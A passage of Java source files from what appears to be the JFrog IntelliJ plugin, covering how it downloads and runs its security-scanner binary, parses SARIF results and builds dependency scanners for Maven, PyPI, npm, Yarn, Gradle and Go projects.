inputFileBuilder.scanType(scanType); ScanConfig inputParams = inputFileBuilder.Build(); args = new ArrayList<>(args); inputFile = newConfigFormat ? createTempRunInputFile(new NewScansConfig(new NewScanConfig(inputParams))) : createTempRunInputFile(new ScansConfig(List.of(inputParams))); args.add(inputFile.toString()); if (newConfigFormat) { args.add(outputFilePath.toString()); } Logger log = Logger.getInstance(); // The following logging is done outside the commandExecutor because the commandExecutor log level is set to INFO. // As it is an internal binary execution, the message should be printed for DEBUG use only. indicator.setText(String.format("Running %s scan at %s", scanType.toString().toLowerCase(), String.join(" ", inputParams.getRoots()))); String cmd = String.format("%s %s", binaryTargetPath.toString(), join(" ", args)); log.info(String.format("Executing JAS scanner %s with config: %s", cmd, inputParams)); CommandExecutor commandExecutor = new CommandExecutor(binaryTargetPath.toString(), createEnvWithCredentials()); CommandResults commandResults = commandExecutor.exeCommand(binaryTargetPath.toFile().getParentFile(), args, null, new NullLog(), Long.MAX_VALUE, TimeUnit.MINUTES); checkCanceled.run(); if (commandResults.isOk()) { log.info(String.format("Finished successfully to run command: %s", cmd)); log.debug(commandResults.getRes()); return parseOutputSarif(outputFilePath); } log.info(String.format("Failed to run command: %s", cmd)); switch (commandResults.getExitValue()) { case USER_NOT_ENTITLED -> { log.debug("User not entitled for advance security scan"); return List.of(); } case NOT_SUPPORTED -> { log.info(String.format("Scanner %s is not supported in the current Analyzer Manager version.", scanType)); return List.of(); } default -> { log.info(commandResults.getRes()); throw new IOException(commandResults.getErr()); } } } finally { if (outputTempDir != null) { FileUtils.deleteQuietly(outputTempDir.toFile()); } if (inputFile != null) { FileUtils.deleteQuietly(inputFile.toFile()); } } } abstract List createSpecificFileIssueNodes(List warnings); private void updateBinaryIfNeeded() throws IOException { // Allow only one thread to check and update the binary at any time. synchronized (downloadLock) { LocalDateTime currentTime = LocalDateTime.now(); boolean targetExists = Files.exists(binaryTargetPath); boolean versionChanged = !getEffectiveScannerVersion().equals(lastDownloadedVersion); if (targetExists && !versionChanged && nextUpdateCheck != null && currentTime.isBefore(nextUpdateCheck)) { return; } ServerConfig server = GlobalSettings.getInstance().getServerConfig(); String externalResourcesRepo = server.getExternalResourcesRepo(); ArtifactoryManagerBuilder artifactoryManagerBuilder = createManagerBuilder(StringUtils.isEmpty(externalResourcesRepo), server); try (ArtifactoryManager artifactoryManager = artifactoryManagerBuilder.build()) { if (targetExists) { // Check for new version of the binary try (FileInputStream archiveBinaryFile = new FileInputStream(archiveTargetPath.toFile())) { String latestBinaryChecksum = getFileChecksumFromServer(artifactoryManager, externalResourcesRepo); String currentBinaryCheckSum = DigestUtils.sha256Hex(archiveBinaryFile); if (latestBinaryChecksum.equals(currentBinaryCheckSum)) { lastDownloadedVersion = getEffectiveScannerVersion(); nextUpdateCheck = currentTime.plusDays(UPDATE_INTERVAL); return; } log.debug(String.format("Resource %s is not up to date. Downloading it.", archiveTargetPath)); } } else { log.debug(String.format("Resource %s is not found. Downloading it.", binaryTargetPath)); } downloadBinary(artifactoryManager, externalResourcesRepo); lastDownloadedVersion = getEffectiveScannerVersion(); } } } public String getFileChecksumFromServer(ArtifactoryManager artifactoryManager, String externalResourcesRepo) throws IOException { String url = getBinaryDownloadURL(externalResourcesRepo); Header[] headers = artifactoryManager.downloadHeaders(url); for (Header header : headers) { if (StringUtils.equalsIgnoreCase(header.getName(), "x-checksum-sha256")) { return header.getValue(); } } log.warn(String.format("Failed to retrieve file checksum from: %s/%s ", artifactoryManager.getUrl(), url)); return ""; } protected boolean shouldExecute() { if (notSupported) { return false; } ServerConfig server = GlobalSettings.getInstance().getServerConfig(); try (Xray xrayClient = createXrayClientBuilder(server, log).build()) { try { if (!xrayClient.system().version().isAtLeast(MINIMAL_XRAY_VERSION_SUPPORTED_FOR_ENTITLEMENT)) { return false; } return xrayClient.entitlements().isEntitled(getScannerFeatureName()); } catch (IOException e) { log.error("Couldn't connect to JFrog Xray. Please check your credentials.", e); return false; } } } protected boolean isPackageTypeSupported(PackageManagerType type) { return type != null && supportedPackageTypes.contains(type); } protected List parseOutputSarif(Path outputFile) throws IOException,IndexOutOfBoundsException { Output output = getOutputObj(outputFile); List warnings = new ArrayList<>(); output.getRuns().forEach(run -> run.getResults().stream() .filter(SarifResult::isNotSuppressed) .filter(result -> !"informational".equals(result.getKind())) .forEach(result -> warnings.add(new JFrogSecurityWarning(result, scanType, run.getRuleFromRunById(result.getRuleId()))))); Optional run = output.getRuns().stream().findFirst(); if (run.isPresent()) { List scanners = run.get().getTool().getDriver().getRules(); // Adds the scanner search target data for (JFrogSecurityWarning warning : warnings) { String scannerSearchTarget = scanners.stream().filter(scanner -> scanner.getId().equals(warning.getRuleID())).findFirst().map(Rule::getFullDescription).map(Message::getText).orElse(""); warning.setScannerSearchTarget(scannerSearchTarget); } } return warnings; } protected Output getOutputObj(Path outputFile) throws IOException { ObjectMapper om = createMapper(); return om.readValue(outputFile.toFile(), Output.class); } protected void downloadBinary(ArtifactoryManager artifactoryManager, String externalResourcesRepo) throws IOException { String downloadUrl = getBinaryDownloadURL(externalResourcesRepo); File downloadArchive = artifactoryManager.downloadToFile(downloadUrl, archiveTargetPath.toString()); log.debug(String.format("Downloading: %s", downloadUrl)); if (downloadArchive == null) { throw new IOException("An empty response received from Artifactory."); } // Delete current scanners FileUtils.deleteDirectory(binaryTargetPath.toFile().getParentFile()); // Extract archive UnzipParameters params = new UnzipParameters(); params.setExtractSymbolicLinks(false); try (ZipFile zip = new ZipFile(archiveTargetPath.toFile())) { zip.extractAll(binaryTargetPath.toFile().getParentFile().toString(), params); } catch (ZipException exception) { throw new IOException("An error occurred while trying to unarchived the JFrog executable:\n" + exception.getMessage()); } // Set executable permissions to the downloaded scanner if (!binaryTargetPath.toFile().setExecutable(true)) { throw new IOException("An error occurred while trying to give access permissions to the JFrog executable."); } } Path createTempRunInputFile(Object scanInput) throws IOException { ObjectMapper om = createYAMLMapper(); Path tempDir = Files.createTempDirectory(""); Path inputPath = Files.createTempFile(tempDir, "", ".yaml"); om.writeValue(inputPath.toFile(), scanInput); return inputPath; } private Map createEnvWithCredentials() { Map env = new HashMap<>(EnvironmentUtil.getEnvironmentMap()); ServerConfigImpl serverConfig = GlobalSettings.getInstance().getServerConfig(); env.put(ENV_PLATFORM, serverConfig.getUrl()); if (StringUtils.isNotEmpty(serverConfig.getAccessToken())) { env.put(ENV_ACCESS_TOKEN, serverConfig.getAccessToken()); } else { env.put(ENV_USER, serverConfig.getUsername()); env.put(ENV_PASSWORD, serverConfig.getPassword()); } ProxyConfiguration proxyConfiguration = serverConfig.getProxyConfForTargetUrl(serverConfig.getUrl()); if (proxyConfiguration != null) { String proxyUrl = proxyConfiguration.host + ":" + proxyConfiguration.port; if (StringUtils.isNoneBlank(proxyConfiguration.username, proxyConfiguration.password)) { proxyUrl = proxyConfiguration.username + ":" + proxyConfiguration.password + "@" + proxyUrl; } //jfrog-ignore env.put(ENV_HTTP_PROXY, "http://" + proxyUrl); } return env; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/ScanManager.java ================================================ package com.jfrog.ide.idea.scan; import com.google.common.collect.Maps; import com.google.common.collect.Sets; import com.intellij.ide.BrowserUtil; import com.intellij.openapi.project.DumbService; import com.intellij.openapi.project.Project; import com.jfrog.ide.common.configuration.ServerConfig; import com.jfrog.ide.common.scan.GraphScanLogic; import com.jfrog.ide.common.scan.ScanLogic; import com.jfrog.ide.idea.configuration.GlobalSettings; import com.jfrog.ide.idea.events.ApplicationEvents; import com.jfrog.ide.idea.log.Logger; import com.jfrog.ide.idea.navigation.NavigationService; import com.jfrog.ide.idea.ui.LocalComponentsTree; import com.jfrog.xray.client.impl.XrayClient; import com.jfrog.xray.client.impl.util.JFrogInactiveEnvironmentException; import com.jfrog.xray.client.services.system.Version; import org.apache.commons.lang3.exception.ExceptionUtils; import org.jetbrains.annotations.NotNull; import org.jetbrains.annotations.Nullable; import java.io.IOException; import java.util.Map; import java.util.Set; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.TimeUnit; import static com.jfrog.ide.common.log.Utils.logError; import static com.jfrog.ide.common.utils.XrayConnectionUtils.createXrayClientBuilder; public class ScanManager { private final Project project; private final ScannerFactory factory; private final SourceCodeScannerManager sourceCodeScannerManager; private Map scanners = Maps.newHashMap(); private ExecutorService executor; private ScanManager(@NotNull Project project) { this.project = project; factory = new ScannerFactory(project); sourceCodeScannerManager = new SourceCodeScannerManager(project); } public static ScanManager getInstance(@NotNull Project project) { return project.getService(ScanManager.class); } public static Set getScanners(@NotNull Project project) { ScanManager scanManager = getInstance(project); return Sets.newHashSet(scanManager.scanners.values()); } public void runInspections(Project project) { try { refreshScanners(null, null); getScanners(project).forEach(ScannerBase::runInspections); } catch (InterruptedException | IOException e) { logError(Logger.getInstance(), "", e, false); } } /** * Start an Xray scan for all projects. */ public void startScan() { if (DumbService.isDumb(project)) { // If intellij is still indexing the project return; } if (isScanInProgress()) { Logger.getInstance().info("Previous scan still running..."); return; } if (!GlobalSettings.getInstance().reloadMissingConfiguration()) { Logger.getInstance().error("Xray server is not configured."); return; } project.getMessageBus().syncPublisher(ApplicationEvents.ON_SCAN_LOCAL_STARTED).update(); LocalComponentsTree componentsTree = LocalComponentsTree.getInstance(project); componentsTree.setScanningEmptyText(); Thread currScanThread = new Thread(() -> { executor = Executors.newFixedThreadPool(3); try { // Source code scanners sourceCodeScannerManager.asyncScanAndUpdateResults(executor, Logger.getInstance()); // Dependencies scanners ScanLogic scanLogic = createScanLogic(); refreshScanners(scanLogic, executor); NavigationService.clearNavigationMap(project); for (ScannerBase scanner : scanners.values()) { scanner.asyncScanAndUpdateResults(); } executor.shutdown(); if (!executor.awaitTermination(Long.MAX_VALUE, TimeUnit.MINUTES)) { logError(Logger.getInstance(), "Scan timeout elapsed. The scan is being canceled.", true); } // Cache tree only if no errors occurred during scan. if (scanners.values().stream().anyMatch(ScannerBase::isScanErrorOccurred)) { componentsTree.deleteCachedTree(); componentsTree.setScanErrorEmptyText(); } else if (scanners.values().stream().anyMatch(ScannerBase::isScanCanceled)) { project.getMessageBus().syncPublisher(ApplicationEvents.ON_SCAN_LOCAL_CANCELED).update(); } else { componentsTree.cacheTree(); componentsTree.setNoIssuesEmptyText(); } } catch (JFrogInactiveEnvironmentException e) { handleJfrogInactiveEnvironment(e.getRedirectUrl()); componentsTree.setScanErrorEmptyText(); } catch (IOException | RuntimeException | InterruptedException e) { logError(Logger.getInstance(), ExceptionUtils.getRootCauseMessage(e), e, true); componentsTree.setScanErrorEmptyText(); } finally { executor.shutdownNow(); } }); currScanThread.start(); } public void stopScan() { executor.shutdown(); scanners.values().forEach(ScannerBase::stopScan); sourceCodeScannerManager.stopScan(); } /** * Handle inactive JFrog platform (free-tier) by displaying a clear warning message and a reactivation link. * * @param reactivationUrl is an URL to reactivate the specific free-tier platform. */ private void handleJfrogInactiveEnvironment(String reactivationUrl) { Logger.getInstance().warn("JFrog Platform is not active."); Logger.showActionableBalloon(project, "JFrog Platform is not active.\nYou can activate it here. ", () -> BrowserUtil.browse(reactivationUrl)); } /** * Scan projects, create new Scanners and delete unnecessary ones. */ public void refreshScanners(ScanLogic scanLogic, @Nullable ExecutorService executor) throws IOException, InterruptedException { scanners = factory.refreshScanners(scanners, scanLogic, executor); } public boolean isScanInProgress() { return scanners.values().stream().anyMatch(ScannerBase::isScanInProgress) || sourceCodeScannerManager.isScanInProgress(); } /** * Create the scan logic according to Xray version. * * @return Xray scan logic */ private ScanLogic createScanLogic() throws IOException { Logger logger = Logger.getInstance(); ServerConfig server = GlobalSettings.getInstance().getServerConfig(); try (XrayClient client = createXrayClientBuilder(server, logger).build()) { Version xrayVersion = client.system().version(); GraphScanLogic.validateXraySupport(xrayVersion); } return new GraphScanLogic(logger); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/ScannerBase.java ================================================ package com.jfrog.ide.idea.scan; import com.google.common.collect.Sets; import com.intellij.codeInsight.daemon.DaemonCodeAnalyzer; import com.intellij.codeInspection.GlobalInspectionContext; import com.intellij.codeInspection.InspectionEngine; import com.intellij.codeInspection.InspectionManager; import com.intellij.codeInspection.LocalInspectionTool; import com.intellij.codeInspection.ex.LocalInspectionToolWrapper; import com.intellij.openapi.application.ApplicationManager; import com.intellij.openapi.fileEditor.FileEditor; import com.intellij.openapi.fileEditor.FileEditorManager; import com.intellij.openapi.progress.ProcessCanceledException; import com.intellij.openapi.progress.ProgressManager; import com.intellij.openapi.progress.Task; import com.intellij.openapi.project.DumbService; import com.intellij.openapi.project.Project; import com.intellij.psi.PsiFile; import com.jfrog.ide.common.configuration.ServerConfig; import com.jfrog.ide.common.deptree.DepTree; import com.jfrog.ide.common.deptree.DepTreeNode; import com.jfrog.ide.common.log.ProgressIndicator; import com.jfrog.ide.common.nodes.DependencyNode; import com.jfrog.ide.common.nodes.FileTreeNode; import com.jfrog.ide.common.scan.ComponentPrefix; import com.jfrog.ide.common.scan.ScanLogic; import com.jfrog.ide.idea.configuration.GlobalSettings; import com.jfrog.ide.idea.inspections.AbstractInspection; import com.jfrog.ide.idea.log.Logger; import com.jfrog.ide.idea.log.ProgressIndicatorImpl; import com.jfrog.ide.idea.scan.data.PackageManagerType; import com.jfrog.ide.idea.scan.utils.ImpactTreeBuilder; import com.jfrog.ide.idea.ui.ComponentsTree; import com.jfrog.ide.idea.ui.LocalComponentsTree; import com.jfrog.ide.idea.ui.menus.filtermanager.ConsistentFilterManager; import com.jfrog.ide.idea.utils.Utils; import com.jfrog.xray.client.services.summary.Components; import lombok.Getter; import org.apache.commons.lang3.ArrayUtils; import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.exception.ExceptionUtils; import org.jetbrains.annotations.NotNull; import org.jfrog.build.api.util.Log; import javax.annotation.Nullable; import javax.swing.*; import java.io.IOException; import java.nio.file.Path; import java.nio.file.Paths; import java.util.*; import java.util.concurrent.CountDownLatch; import java.util.concurrent.ExecutorService; import java.util.concurrent.atomic.AtomicBoolean; import static com.jfrog.ide.common.log.Utils.logError; /** * Created by romang on 4/26/17. */ public abstract class ScannerBase { private final ServerConfig serverConfig; private final ComponentPrefix prefix; @Getter private final Log log; // Lock to prevent multiple simultaneous scans private final AtomicBoolean scanInProgress = new AtomicBoolean(false); private final AtomicBoolean scanError = new AtomicBoolean(false); private final AtomicBoolean scanCanceled = new AtomicBoolean(false); private ScanLogic scanLogic; protected Project project; protected SourceCodeScannerManager sourceCodeScannerManager; String basePath; private ExecutorService executor; private com.intellij.openapi.progress.ProgressIndicator progressIndicator; /** * @param project currently opened IntelliJ project. We'll use this project to retrieve project based services * like {@link ConsistentFilterManager} and {@link ComponentsTree} * @param basePath project base path * @param prefix components prefix for xray scan, e.g. gav:// or npm:// * @param executor an executor that should limit the number of running tasks to 3 * @param scanLogic the scan logic to use */ ScannerBase(@NotNull Project project, String basePath, ComponentPrefix prefix, ExecutorService executor, ScanLogic scanLogic) { this.serverConfig = GlobalSettings.getInstance().getServerConfig(); this.prefix = prefix; this.log = Logger.getInstance(); this.executor = executor; this.basePath = basePath; this.project = project; this.sourceCodeScannerManager = new SourceCodeScannerManager(project, getPackageManagerType()); this.scanLogic = scanLogic; } void setExecutor(ExecutorService executor) { this.executor = executor; } void setScanLogic(ScanLogic logic) { this.scanLogic = logic; } /** * Collect and return {@link Components} to be scanned by JFrog Xray. * Implementation should be project type specific. */ protected abstract DepTree buildTree() throws IOException; /** * Return all project descriptors under the scan-manager project, which need to be inspected by the corresponding {@link LocalInspectionTool}. * * @return all project descriptors under the scan-manager project to be inspected. */ protected abstract PsiFile[] getProjectDescriptors(); /** * Return the Inspection tool corresponding to the scan-manager type. * The returned Inspection tool is used to perform the inspection on the project-descriptor files. * * @return the Inspection tool corresponding to the scan-manager type. */ @Nullable protected abstract AbstractInspection getInspectionTool(); protected void sendUsageReport() { ApplicationManager.getApplication().invokeLater(() -> Utils.sendUsageReport(getPackageManagerType().getName() + "-deps")); } protected abstract PackageManagerType getPackageManagerType(); /** * Groups a collection of {@link DependencyNode}s by the descriptor files of the modules that depend on them. * The returned DependencyNodes inside the {@link FileTreeNode}s might be clones of the ones in depScanResults, but * it's not guaranteed. * * @param depScanResults collection of DependencyNodes * @param depTree the project's dependency tree * @param parents a map of components by their IDs and their parents in the dependency tree * @return a list of FileTreeNodes (that are all DescriptorFileTreeNodes) having the DependencyNodes as their children */ protected abstract List groupDependenciesToDescriptorNodes(Collection depScanResults, DepTree depTree, Map> parents); /** * Scan and update dependency components. * * @param indicator - The progress indicator */ private void scanAndUpdate(ProgressIndicator indicator) { try { sendUsageReport(); // Building dependency tree indicator.setText("1/3: Building dependency tree"); DepTree depTree = buildTree(); checkCanceled(); // Sending the dependency tree to Xray for scanning indicator.setText("2/3: Xray scanning project dependencies"); log.debug("Start scan for '" + basePath + "'."); Map results = scanLogic.scanArtifacts(depTree, serverConfig, indicator, prefix, this::checkCanceled); checkCanceled(); indicator.setText("3/3: Finalizing"); if (results == null || results.isEmpty()) { // No violations/vulnerabilities or no components to scan or an error was thrown return; } List fileTreeNodes = buildImpactGraph(results, depTree); addScanResults(fileTreeNodes); // Contextual Analysis List applicabilityScanResults = sourceCodeScannerManager.applicabilityScan(indicator, fileTreeNodes, this::checkCanceled); addScanResults(applicabilityScanResults); // Force inspections run due to changes in the displayed tree runInspections(); } catch (ProcessCanceledException e) { log.info("Xray scan was canceled"); scanCanceled.set(true); } catch (Exception e) { scanError.set(true); logError(log, "Xray scan failed", e, true); } } protected List buildImpactGraph(Map vulnerableDependencies, DepTree depTree) throws IOException { Map> parents = getParents(depTree); ImpactTreeBuilder.populateImpactTrees(vulnerableDependencies, parents, depTree.rootId()); return groupDependenciesToDescriptorNodes(vulnerableDependencies.values(), depTree, parents); } /** * Find the parents of each node in the given {@link DepTree}. * Nodes without parents (the root) don't appear in the returned map. * * @param depTree the {@link DepTree} to find the parents of its nodes * @return a map of nodes from the {@link DepTree} amd each one's parents */ static Map> getParents(DepTree depTree) { Map> parents = new HashMap<>(); for (Map.Entry node : depTree.nodes().entrySet()) { String parentId = node.getKey(); for (String childId : node.getValue().getChildren()) { parents.putIfAbsent(childId, new HashSet<>()); parents.get(childId).add(parentId); } } return parents; } /** * Launch async dependency scan. */ void asyncScanAndUpdateResults() { if (DumbService.isDumb(project)) { // If intellij is still indexing the project return; } // The tasks run asynchronously. To make sure no more than 3 tasks are running concurrently, // we use a count-down latch that signals to that executor service that it can get more tasks. CountDownLatch latch = new CountDownLatch(1); Task.Backgroundable scanAndUpdateTask = new Task.Backgroundable(null, getTaskTitle()) { @Override public void run(@NotNull com.intellij.openapi.progress.ProgressIndicator indicator) { if (project.isDisposed()) { return; } // Prevent multiple simultaneous scans if (!scanInProgress.compareAndSet(false, true)) { log.info("Scan already in progress"); return; } progressIndicator = indicator; scanAndUpdate(new ProgressIndicatorImpl(indicator)); } @Override public void onFinished() { latch.countDown(); scanInProgress.set(false); } @Override public void onThrowable(@NotNull Throwable error) { log.error(ExceptionUtils.getRootCauseMessage(error)); scanError.set(true); } }; executor.submit(createRunnable(scanAndUpdateTask, latch, progressIndicator, log)); } /** * Stop the current scan. */ void stopScan() { if (progressIndicator != null) { progressIndicator.cancel(); } } /** * Get text to display in the task progress. * * @return text to display in the task progress. */ private String getTaskTitle() { Path projectBasePath = Utils.getProjectBasePath(project); Path wsBasePath = Paths.get(basePath); String relativePath = ""; if (projectBasePath.isAbsolute() == wsBasePath.isAbsolute()) { // If one of the path is relative and the other one is absolute, the following exception is thrown: // IllegalArgumentException: 'other' is different type of Path relativePath = projectBasePath.relativize(wsBasePath).toString(); } return "JFrog scanning " + StringUtils.defaultIfBlank(relativePath, project.getName()); } /** * Create a runnable to be submitted to the executor service, or run directly. * * @param task The task to submit * @param latch The countdown latch, which makes sure the executor service doesn't get more than 3 tasks. * If null, the scan was initiated by a change in the project descriptor and the executor * service is terminated. In this case, there is no requirement to wait. * @param progressIndicator The task's {@link com.intellij.openapi.progress.ProgressIndicator} object. */ public static Runnable createRunnable(Task.Backgroundable task, CountDownLatch latch, com.intellij.openapi.progress.ProgressIndicator progressIndicator, Log log) { return () -> { // The progress manager is only good for foreground threads. if (SwingUtilities.isEventDispatchThread()) { task.queue(); } else { // Run the scan task when the thread is in the foreground. ApplicationManager.getApplication().invokeLater(task::queue); } try { // Wait for scan to finish, to make sure the thread pool remain full if (latch != null) { latch.await(); } } catch (InterruptedException e) { // This exception is thrown when this thread is interrupted (e.g. when the scan timeout has elapsed). logError(log, ExceptionUtils.getRootCauseMessage(e), e, false); progressIndicator.cancel(); } }; } /** * Returns all project modules locations as Paths. * Other scanners such as npm will use these paths in order to find modules. * * @return all project modules locations as Paths */ public Set getProjectPaths() { Set paths = Sets.newHashSet(); paths.add(Paths.get(basePath)); return paths; } void runInspections() { DumbService.getInstance(project).smartInvokeLater(() -> { PsiFile[] projectDescriptors = getProjectDescriptors(); if (ArrayUtils.isEmpty(projectDescriptors)) { return; } GlobalInspectionContext context = InspectionManager.getInstance(project).createNewGlobalContext(); AbstractInspection localInspectionTool = getInspectionTool(); if (localInspectionTool == null) { return; } localInspectionTool.setAfterScan(true); for (PsiFile descriptor : projectDescriptors) { // Run inspection on descriptor. InspectionEngine.runInspectionOnFile(descriptor, new LocalInspectionToolWrapper(localInspectionTool), context); FileEditor[] editors = FileEditorManager.getInstance(project).getAllEditors(descriptor.getVirtualFile()); if (!ArrayUtils.isEmpty(editors)) { // Refresh descriptor highlighting only if it is already opened. DaemonCodeAnalyzer.getInstance(project).restart(descriptor); } } }); } private void addScanResults(List fileTreeNodes) { if (fileTreeNodes.isEmpty()) { return; } LocalComponentsTree componentsTree = LocalComponentsTree.getInstance(project); componentsTree.addScanResults(fileTreeNodes); } protected void checkCanceled() { if (project.isOpen()) { // The project is closed if we are in test mode. // In tests, we can't check if the user canceled the scan, since we don't have the ProgressManager service. ProgressManager.checkCanceled(); } } boolean isScanInProgress() { return this.scanInProgress.get(); } boolean isScanErrorOccurred() { return this.scanError.get(); } boolean isScanCanceled() { return this.scanCanceled.get(); } public String getProjectPath() { return this.basePath; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/ScannerFactory.java ================================================ package com.jfrog.ide.idea.scan; import com.google.common.base.Objects; import com.google.common.collect.Maps; import com.intellij.openapi.module.Module; import com.intellij.openapi.module.ModuleManager; import com.intellij.openapi.project.Project; import com.intellij.openapi.projectRoots.Sdk; import com.jetbrains.python.sdk.PythonSdkUtil; import com.jfrog.ide.common.scan.ScanLogic; import com.jfrog.ide.common.utils.PackageFileFinder; import com.jfrog.ide.idea.configuration.GlobalSettings; import com.jfrog.ide.idea.log.Logger; import org.jetbrains.annotations.Nullable; import java.io.IOException; import java.nio.file.Path; import java.util.Collection; import java.util.Map; import java.util.Set; import java.util.concurrent.ExecutorService; import static com.jfrog.ide.idea.scan.utils.ScanUtils.createScanPaths; import static com.jfrog.ide.idea.utils.Utils.getProjectBasePath; /** * Created by yahavi */ public class ScannerFactory { private final Project project; public ScannerFactory(Project project) { this.project = project; } public static int getModuleIdentifier(String name, String path) { return Objects.hashCode(name, path); } /** * Scan projects, create new Scanners and delete unnecessary ones. * Existing Scanners from previous scans, are not overridden. */ public Map refreshScanners(Map oldScanners, ScanLogic scanLogic, @Nullable ExecutorService executor) throws IOException { Map scanners = Maps.newHashMap(); refreshMavenScanner(scanners, oldScanners, executor, scanLogic); refreshPypiScanners(scanners, oldScanners, executor, scanLogic); Set scanPaths = createScanPaths(project); oldScanners.values().stream().map(ScannerBase::getProjectPaths).flatMap(Collection::stream).forEach(scanPaths::add); refreshGenericScanners(scanners, oldScanners, scanPaths, executor, scanLogic); return scanners; } /** * Create npm, Gradle, Go and Yarn Scanners. * * @param newScanners the new Scanners map to add the Scanners into * @param oldScanners the Scanners map including the Scanner of the current project, or an empty map for a fresh start * @param scanPaths potential paths for scanning for package descriptor files * @param executor the thread pool * @throws IOException in case of any I/O error during the search for the actual package descriptor files. */ private void refreshGenericScanners(Map newScanners, Map oldScanners, Set scanPaths, ExecutorService executor, ScanLogic scanLogic) throws IOException { Path basePath = getProjectBasePath(project); PackageFileFinder packageFileFinder = new PackageFileFinder(scanPaths, basePath, GlobalSettings.getInstance().getServerConfig().getExcludedPaths(), Logger.getInstance()); // Create Yarn scanners Set yarnLockDirs = packageFileFinder.getYarnPackagesFilePairs(); refreshGenericScannersByType(yarnLockDirs, newScanners, oldScanners, GenericScannerType.YARN, executor, scanLogic); // Create npm scanners Set packageJsonDirs = packageFileFinder.getNpmPackagesFilePairs(); refreshGenericScannersByType(packageJsonDirs, newScanners, oldScanners, GenericScannerType.NPM, executor, scanLogic); // Create Gradle scanners Set buildGradleDirs = packageFileFinder.getBuildGradlePackagesFilePairs(); refreshGenericScannersByType(buildGradleDirs, newScanners, oldScanners, GenericScannerType.GRADLE, executor, scanLogic); // Create Go scanners Set goModDirs = packageFileFinder.getGoPackagesFilePairs(); refreshGenericScannersByType(goModDirs, newScanners, oldScanners, GenericScannerType.GO, executor, scanLogic); } /** * Create a MavenScanner if this is a Maven project. * * @param newScanners new scanners map * @param oldScanners existing scanners map * @param executor an executor that should limit the number of running tasks to 3 * @param scanLogic the scan logic to use */ private void refreshMavenScanner(Map newScanners, Map oldScanners, ExecutorService executor, ScanLogic scanLogic) { int projectHash = getModuleIdentifier(project.getName(), project.getBasePath()); ScannerBase scanner = oldScanners.get(projectHash); // Check if a ScanManager for this project already exists if (scanner != null) { // Set the new executor on the old scan manager scanner.setExecutor(executor); scanner.setScanLogic(scanLogic); newScanners.put(projectHash, scanner); } else { // Unlike other scanners whereby we create them if the package descriptor exist, MavenScanner is created if // the Maven plugin is installed and there are Maven projects loaded. try { if (MavenScanner.isApplicable(project)) { scanner = new MavenScanner(project, executor, scanLogic); newScanners.put(projectHash, scanner); } } catch (NoClassDefFoundError noClassDefFoundError) { // The Maven plugin is not installed. } } } /** * Create PypiScanner for each module with Python SDK configured. * * @param newScanners new scanners map * @param oldScanners existing scanners map * @param executor an executor that should limit the number of running tasks to 3 * @param scanLogic the scan logic to use */ private void refreshPypiScanners(Map newScanners, Map oldScanners, ExecutorService executor, ScanLogic scanLogic) { try { for (Module module : ModuleManager.getInstance(project).getModules()) { Sdk pythonSdk = PythonSdkUtil.findPythonSdk(module); if (pythonSdk == null) { continue; } int projectHash = getModuleIdentifier(pythonSdk.getName(), pythonSdk.getHomePath()); ScannerBase scanner = oldScanners.get(projectHash); if (scanner == null) { scanner = new PypiScanner(project, pythonSdk, executor, scanLogic); } scanner.setExecutor(executor); scanner.setScanLogic(scanLogic); newScanners.put(projectHash, scanner); } } catch (NoClassDefFoundError noClassDefFoundError) { // The Python plugin is not installed. } } private void refreshGenericScannersByType(Set packageDirs, Map newScanners, Map oldScanners, GenericScannerType type, ExecutorService executor, ScanLogic scanLogic) { for (String dir : packageDirs) { int projectHash = getModuleIdentifier(dir, dir); ScannerBase scanner = oldScanners.get(projectHash); if (scanner == null) { scanner = createGenericScanner(type, dir, executor, scanLogic); } if (scanner != null) { scanner.setExecutor(executor); scanner.setScanLogic(scanLogic); newScanners.put(projectHash, scanner); } } } /** * Create a new scanner according to the type. Add it to the scanners map. * Supported types: Go, npm, gradle and Yarn. * * @param type project type * @param dir project dir * @param executor an executor that should limit the number of running tasks to 3 * @param scanLogic the scan logic to use */ private ScannerBase createGenericScanner(GenericScannerType type, String dir, ExecutorService executor, ScanLogic scanLogic) { try { switch (type) { case GRADLE: return new GradleScanner(project, dir, executor, scanLogic); case YARN: return new YarnScanner(project, dir, executor, scanLogic); case NPM: return new NpmScanner(project, dir, executor, scanLogic); case GO: return new GoScanner(project, dir, executor, scanLogic); } } catch (NoClassDefFoundError noClassDefFoundError) { // The Gradle plugin is not installed. } return null; } private enum GenericScannerType { GRADLE, NPM, GO, YARN } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/SecretsScannerExecutor.java ================================================ package com.jfrog.ide.idea.scan; import com.jfrog.ide.common.log.ProgressIndicator; import com.jfrog.ide.common.nodes.FileIssueNode; import com.jfrog.ide.common.nodes.FileTreeNode; import com.jfrog.ide.common.nodes.subentities.SourceCodeScanType; import com.jfrog.ide.idea.inspections.JFrogSecurityWarning; import com.jfrog.ide.idea.scan.data.PackageManagerType; import com.jfrog.ide.idea.scan.data.ScanConfig; import com.jfrog.xray.client.services.entitlements.Feature; import org.jfrog.build.api.util.Log; import java.io.IOException; import java.util.ArrayList; import java.util.HashMap; import java.util.List; /** * @author Tal Arian */ public class SecretsScannerExecutor extends ScanBinaryExecutor { private static final List SCANNER_ARGS = List.of("sec"); private static final String ISSUE_TITLE = "Potential Secret"; public SecretsScannerExecutor(Log log) { super(SourceCodeScanType.SECRETS, log); } public List execute(ScanConfig.Builder inputFileBuilder, Runnable checkCanceled, ProgressIndicator indicator) throws IOException, InterruptedException { return super.execute(inputFileBuilder, SCANNER_ARGS, checkCanceled, indicator); } @Override List createSpecificFileIssueNodes(List warnings) { HashMap results = new HashMap<>(); for (JFrogSecurityWarning warning : warnings) { // Create FileTreeNodes for files with found issues FileTreeNode fileNode = results.get(warning.getFilePath()); if (fileNode == null) { fileNode = new FileTreeNode(warning.getFilePath()); results.put(warning.getFilePath(), fileNode); } FileIssueNode issueNode = new FileIssueNode(ISSUE_TITLE, warning.getFilePath(), warning.getLineStart(), warning.getColStart(), warning.getLineEnd(), warning.getColEnd(), warning.getScannerSearchTarget(), warning.getLineSnippet(), warning.getReporter(), warning.getSeverity(), warning.getRuleID()); fileNode.addIssue(issueNode); } return new ArrayList<>(results.values()); } @Override public Feature getScannerFeatureName() { return Feature.SECRETS; } @Override protected boolean isPackageTypeSupported(PackageManagerType packageType) { return 